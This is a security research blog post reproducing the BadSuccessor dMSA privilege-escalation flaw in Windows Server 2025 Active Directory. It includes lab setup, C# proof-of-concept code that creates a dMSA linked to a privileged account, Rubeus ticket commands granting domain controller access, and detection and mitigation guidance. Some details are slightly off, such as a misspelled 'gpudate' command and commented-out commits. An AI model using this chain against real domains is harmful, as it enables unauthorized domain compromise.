BadSuccessor: Abusing dMSAs for AD Domination

After Akamai’s publication of BadSuccessor, I set out to research and reproduce the exploit. In this post I cover: an overview of the vulnerability as disclosed by Akamai researcher Yuval Gordon; how I stood up a Windows Server 2025 DC in my existing GOAD domain lab ; my .NET-based proof-of-concept development; the Kerberos ticketing challenges I encountered and how I resolved them; and finally detection and mitigation strategies that defenders can adopt to guard against BadSuccessor.

BadSuccessor Vulnerability Overview

I began by studying Akamai’s write-up, which attributes discovery to Yuval Gordon on May 21, 2025. BadSuccessor abuses the new delegated Managed Service Account (dMSA) feature in Windows Server 2025 to escalate privileges without ever touching the target account’s groups or credentials.

By setting the two attributesmsDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState=2on any dMSA object whether existing or newly created, an attacker can convince the KDC to issue Kerberos tickets carrying the SIDs of a high-privilege user, effectively “succeeding” them. This is effectively a zero to hero attack path, so long as the attacker either has compromised a dMSA already or has appropriate privileges such as CreateChild on an OU in the domain.

Akamai’s telemetry showed that in 91 percent of real-world domains, non-admin users already have the necessary CreateChild or write rights on at least one OU—making this attack path trivial to execute in most cases. Microsoft has classified BadSuccessor as “moderate” severity and plans a future patch, but no fix is available yet, so organizations must rely on compensating controls until a patch is released.

Lab Environment Setup

To validate BadSuccessor, I added a Windows Server 2025 domain controller into my existing AD domain (forest functional level ≥ 2016). For context - I am simply running the well-known GOAD AD template and manually adding the Windows Server 2025 machine to the domain and promoting it to a DC. This would look like this (see essos.local domain now has an extra host):

Windows Server 2025 in GOAD

After booting and installing the Windows Server 2025 machine, we have to make sure the AD schema is replicated across all DCs in the essos.local domain or we'll run into issues where AD objects will be missing relevant attributes that we need to exploit BadSuccessor.

Schema & Domain Prep

  • Mounted the Windows Server 2025 ISO on an existing schema master. In our case the schema master is meereen.essos.local as it was the only DC in that domain.
  • Ran the following to prepare the domain for the schema changes.
D:\support\adprep.exe /forestprep
D:\support\adprep.exe /domainprep

Install AD DS Role on Windows Server 2025

Install-WindowsFeature AD-Domain-Services

Promote to DC

Run the following command ensuring the correct domain name and pass domain admin credentials. In GOAD - both Administrator or daenerys.targaryen for the essos.local domain are fine.

Install-ADDSDomainController `
  -DomainName 'essos.local' `
  -InstallDns `
  -Credential (Get-Credential) `
  -SafeModeAdministratorPassword (Read-Host -AsSecureString)

Verify Replication

Check if replication occurred.

repadmin /replsummary

If it did not, we can force it with:

repadmin /syncall /e /d /A /P
repadmin /showrepl *

Finally, inspect /showrepl * for other errors and if it's all good - you've finished setting up your Windows Server 2025 DC.

Developing a Proof-of-Concept in .NET

I initially thought about whether it made more sense to make the PoC as a BOF or as a .NET executable. It was decided pretty quickly that .NET made more sense as it was going to be a lot quicker to get something functional finished which I could then use in red team engagements. .NET has some useful packages that we can leverage to make the PoC quite easily.

using System.DirectoryServices.ActiveDirectory;
using System.Security.Principal;
using System.Security.AccessControl;

Having read the Akamai research on BadSuccessor, I made a list of tasks that the PoC should accomplish.

  • Enumerate writable Organizational Units - Scan Active Directory to find OUs where the current user has write permissions.
  • Create Delegated Managed Service Accounts (dMSA) - Establish a new delegated managed service account in the targeted OU
  • Link dMSA to existing privileged account - Associate the new dMSA with an existing service account to inherit its privileges through the msDS-ManagedAccountPrecededByLink attribute
  • Configure account permissions and encryption - Set up the dMSA with appropriate user account controls, supported encryption types, and managed password intervals
  • Establish retrieval permissions - Configure which machine or user account can retrieve the managed password through security descriptors
  • Provide exploitation guidance - Outputs instructions for using tools like Rubeus to extract Kerberos tickets and password hashes from the weaponized dMSA. This wasn't absolutely necessary but I don't enjoy reading Rubeus help menu so why not.

The proof of concept can be found on my github so I won't cover every line of code here, but a couple of sections that are worth highlighting are:

  1. Identifying exploitable OUs:
// Helper function to check our permissions on OUs
static bool IsWritable(string dn, HashSet<SecurityIdentifier> sids)
        {
            try
            {
                using var entry = new DirectoryEntry($"LDAP://{dn}", null, null, AuthenticationTypes.Secure);
                var rules = entry.ObjectSecurity
                                 .GetAccessRules(true, true, typeof(SecurityIdentifier));
                foreach (ActiveDirectoryAccessRule rule in rules)
                {
                    if (rule.AccessControlType != AccessControlType.Allow) continue;
                    if (!sids.Contains((SecurityIdentifier)rule.IdentityReference)) continue;

                    var rights = rule.ActiveDirectoryRights;
                    if ((rights & ActiveDirectoryRights.WriteProperty) != 0 ||
                        (rights & ActiveDirectoryRights.WriteDacl) != 0 ||
                        (rights & ActiveDirectoryRights.WriteOwner) != 0 ||
                        (rights & ActiveDirectoryRights.CreateChild) != 0 ||
                        (rights & ActiveDirectoryRights.GenericWrite) != 0 ||
                        (rights & ActiveDirectoryRights.GenericAll) != 0)
                    {
                        return true;
                    }
                }
            }
            catch { /* skip inaccessible OUs */ }

            return false;
        }

// [...]

foreach (var ou in organizationalUnits)
    {
        if (IsWritable(ou, principalSids))
        Console.WriteLine("    -> " + ou);
    }

2. Setting up the dMSA attributes

// PHASE 1: Create dMSA object
            Console.WriteLine("[*] Phase 1: Creating dMSA object...");
            var acct = ouEntry.Children.Add($"CN={name}", "msDS-DelegatedManagedServiceAccount");
            acct.Properties["msDS-DelegatedMSAState"].Value = 0;
            acct.Properties["msDS-ManagedPasswordInterval"].Value = 30;
            acct.Properties["dNSHostName"].Add(dnshostname + "." + currentDomain);
            acct.Properties["sAMAccountName"].Add(name + "$");


            // acct.CommitChanges();
            Console.WriteLine($"[+] Commit successful: dMSA {name} Created.");

            // PHASE 2: Apply dMSA attributes
            Console.WriteLine("[*] Phase 2: Inheriting target user privileges");
            acct.Properties["msDS-ManagedAccountPrecededByLink"].Add(precededByDn);
            Console.WriteLine($"    -> msDS-ManagedAccountPrecededByLink = {precededByDn}");
            acct.Properties["msDS-DelegatedMSAState"].Value = 2;
            Console.WriteLine("    -> msDS-DelegatedMSAState = 2");
            //acct.CommitChanges();
            Console.WriteLine("[+] Privileges Obtained.");

            // PHASE 3: Add machine or user account to PrincipalsAllowedToRetrieveManagedPassword property
            Console.WriteLine("[*] Phase 3: Setting PrincipalsAllowedToRetrieveManagedPassword");

            try
            {
                SecurityIdentifier targetSid;
                string targetAccountName;
                string searchFilter;

                if (!string.IsNullOrWhiteSpace(machine))
                {
                    // Machine account mode
                    targetAccountName = machine;
                    searchFilter = $"(&(objectCategory=computer)(sAMAccountName={machine}))";
                }
                else
                {
                    // User account mode
                    targetAccountName = user;
                    searchFilter = $"(&(objectCategory=person)(sAMAccountName={user}))";
                }

                // Search for the target account
                using var searchSID = new DirectorySearcher(de)
                {
                    Filter = searchFilter,
                    SearchScope = SearchScope.Subtree
                };
                searchSID.PropertiesToLoad.Add("objectSid");

                var targetResult = searchSID.FindOne();
                if (targetResult == null)
                    throw new InvalidOperationException($"Cannot find account {targetAccountName}");

                byte[] sidBytes = (byte[])targetResult.Properties["objectSid"][0];
                targetSid = new SecurityIdentifier(sidBytes, 0);

                RawSecurityDescriptor rsd = new RawSecurityDescriptor("O:S-1-5-32-544D:(A;;0xf01ff;;;" + targetSid.Value + ")");
                Byte[] descriptor = new byte[rsd.BinaryLength];
                rsd.GetBinaryForm(descriptor, 0);
                acct.Properties["msDS-GroupMSAMembership"].Add(descriptor);
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Error setting msDS-GroupMSAMembership: {ex.Message}");
            }

            Console.WriteLine("[+] Setting userAccountControl attribute");
            Console.WriteLine("[+] Setting msDS-SupportedEncryptionTypes attribute");
            acct.Properties["userAccountControl"].Value = 0x1000; // WORKSTATION_TRUST_ACCOUNT
            acct.Properties["msDS-SupportedEncryptionTypes"].Value = DES_CBC_CRC | DES_CBC_MD5 | AES128_CTS; // 0x1C

            acct.CommitChanges();
        }

To summarise, as per the Akamai research I scripted LDAP modify requests to:

  • Create a new msDS-DelegatedManagedServiceAccount object in a target OU.
  • Set msDS-ManagedAccountPrecededByLink to the DN of the high-privilege user.
  • Set msDS-DelegatedMSAState to 2.
  • Set some additional attributes needed for the dMSA to be fully functional (UAC, EncryptionTypes, dNSHostName,etc).

The next steps to confirm functionality were to:

  1. Get a TGT for the principal we set as the (bad)successor.
  2. Use that TGT to request a TGS for the dMSA.
  3. Use the TGS to request another TGS for the  target account specified in the msDS-ManagedAccountPrecededByLink attribute.

This complete attack chain can be seen below:

  1. Find writeable OUs

Running the find module will enumerate existing OUs to find vulnerable ones.

.\BadSuccessor.exe find
find command shows OUs we can write to

In this case, I created a vulnerable OU named kreep and we will be targetting that one.

2. Create the dMSA account in the target OU

Running the escalate module creates and weaponises the dMSA.

.\BadSuccessor.exe escalate -targetOU "OU=kreep,DC=essos,DC=local" -dmsa badguy_dmsa -targetUser "CN=daenerys.targaryen,CN=Users,DC=essos,DC=local" -dnshostname evilserver -user khal.drogo -dc-ip 192.168.10.15

We can see that the account was created via Active Directory Users & Computers.

If you're on an engagement you most likely won't be using this but rather something like ldapsearch BOF or similar. That will also show you the account was created successfully with the attributes needed for exploitation.

3. Ticket Wizardry to Authenticate as target user

The original Akamai research suggested that the msDS-GroupMSAMembership attribute had to be set to a machine account, however reading the Microsoft Docs for the attribute itself as well as the documentation for the -PrincipalsAllowedToRetrieveManagedPassword argument of the New-ADServiceAccount cmdlet, I noticed it was quite ambiguous. It did not specify anywhere that the principal had to be a machine account. This led me to do some additional digging, and it turns out you can set this attribute for both users and machines. This discovery was quite useful as it gives operators more flexibility in how they want to exploit this vulnerability.

However, keep in mind that when you set this attribute, you are purposefully introducing a new misconfiguration into the environment. The scope of your configuration matters significantly: setting it for only a specific user versus setting it so any user on a machine can exploit it will have entirely different potential consequences for the attack surface you're creating.

 3.1) Retrieve TGT for the principal we set as msDS-GroupMSAMembership (what user we gave dMSA ownership to). Choose the LUID for the machine account - or the user, whichever one you gave membership rights to using the -machine or -user command from BadSuccessor.exe escalate. In this PoC I gave the rights to the `khal.drogo` user so I dumped his luid.

.\Rubeus.exe triage
.\Rubeus.exe dump /luid:<luid> /service:krbtgt /opsec /nowrap

We want to grab the LUID associated with the machine or the user. In my case, since I set the principal to be the user khal.drogo I grab his LUID:

Check current TGTs

3.2) Retrieve a TGS for the krbtgt service as the dMSA account using the TGT that we just dumped which has the ability to retrieve the dMSA key.

.\Rubeus.exe asktgs /targetuser:badguy_dmsa$ /service:krbtgt/essos.local /dmsa /opsec /nowrap /ptt /ticket:<Machine/User TGT>
TGS for dMSA retrieved

3.3) Finally, we can request a TGS for the target user context for any SPN using the TGS we just got. One example would be to request SMB access to a domain controller.

.\Rubeus.exe asktgs /user:badguy_dmsa$ /service:cifs/sanjuan.essos.local /opsec /dmsa /nowrap /ptt /ticket:doIGAjCCBm...
cifs/DC Ticket requested and injected into session

This then allows us to navigate to the C$ drive of the targeted domain controller in this case as we injected the ticket into our current session using pass-the-ticket `/ptt`. You could also just save the ticket and use it along with impacket tools or whatever post-ex tooling you want to use that accepts Kerberos auth.

Access to DC after Pass-The-Ticket

Development Challenges & Ticket Invalidity

While building the PoC, I ran into two main hurdles:

AD Schema propagation delays

I am still not sure what was going on here to be honest, but I did notice that it took a lot of tinkering until the new AD Object attributes from Windows Server 2025 were propagated to the other DC. Although I had prepared the forest and domain for the new schema as explained above, initially the changes were not detected and I could not create new dMSA accounts because the necessary AD object attributes were not recognised by the existing DC in the domain. Eventually forcing the update with repadmin seemed to work after some time.

Invalid Kerberos Tickets

While the initial Akamai research demonstrated that dumping TGTs for the machine account and using that for the TGS requests, I was unable to replicate this initially. After some experimentation, I found that there was a synchronisation problem occurring between the dMSA creation time and the TGS requests. The TGTs dumped for either the Membership user or machine account, seemed to be out of sync, expired or "stale" and could not be used to request TGS for the dMSA. Rubeus was returning the following error:

[X] KRB-ERROR (41) : KRB_AP_ERR_MODIFIED

Eventually, I found a workaround for this which was to purge the Kerberos tickets on the host and force them to re-generate.

klist purge

# Force re-generate
gpudate /force

I used gpudate here for testing, but anything that requires authenticating to a DC will work. For red team engagements for example - using ldapsearch with an arbitrary query would do the job. This generated a fresh TGT that could then be used to complete the attack chain successfully.

Detection and Mitigation

Drawing on Akamai’s recommendations, I would propose the following:

  • Audit dMSA Creation: Alert on Event ID 5137 for new msDS-DelegatedManagedServiceAccount objects—particularly when created by non-standard service accounts
  • Monitor Attribute Changes: Configure SACLs for modifications to msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState (Event ID 5136) to catch illicit successor links
  • Monitor dMSA authentication: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure event 2946 is generated. The gMSA Object field (yes, this is a dMSA but still) will show the DN of the dMSA being authenticated and the Caller SID field will appear as S-1-5-7 . Unexpected 2946 events should be reviewed.
  • Tighten OU ACLs: Restrict CreateChild and write permissions on OUs to a small set of trusted administrators - ideally none outside the tier-0 team

Conclusion

BadSuccessor underscores the unintended consequences of convenience features -in this case dMSAs that were designed to mitigate attacks like Kerberoasting but instead opened a new attack vector for domain-wide privilege escalation. Through my .NET PoC and hands-on lab validation, I confirmed that with minimal OU permissions, attackers can request TGTs carrying high-privilege SIDs and thus compromise any user in the domain. Until Microsoft releases an official patch, defenders should audit permissions on OUs and dMSA creations, monitor critical dMSA attributes and dMSA authentication.

For offensive security professionals, keeping track of new Active Directory features such as the dMSA capability introduced in Windows Server 2025 is a smart way to identify serious vulnerabilities before attackers do. To stay ahead, it's clear that it helps to regularly review Microsoft's feature announcements, join early access or preview programs, and include feature tracking in your research process. These steps can reveal new attack surfaces and support progress in both offensive and defensive security work.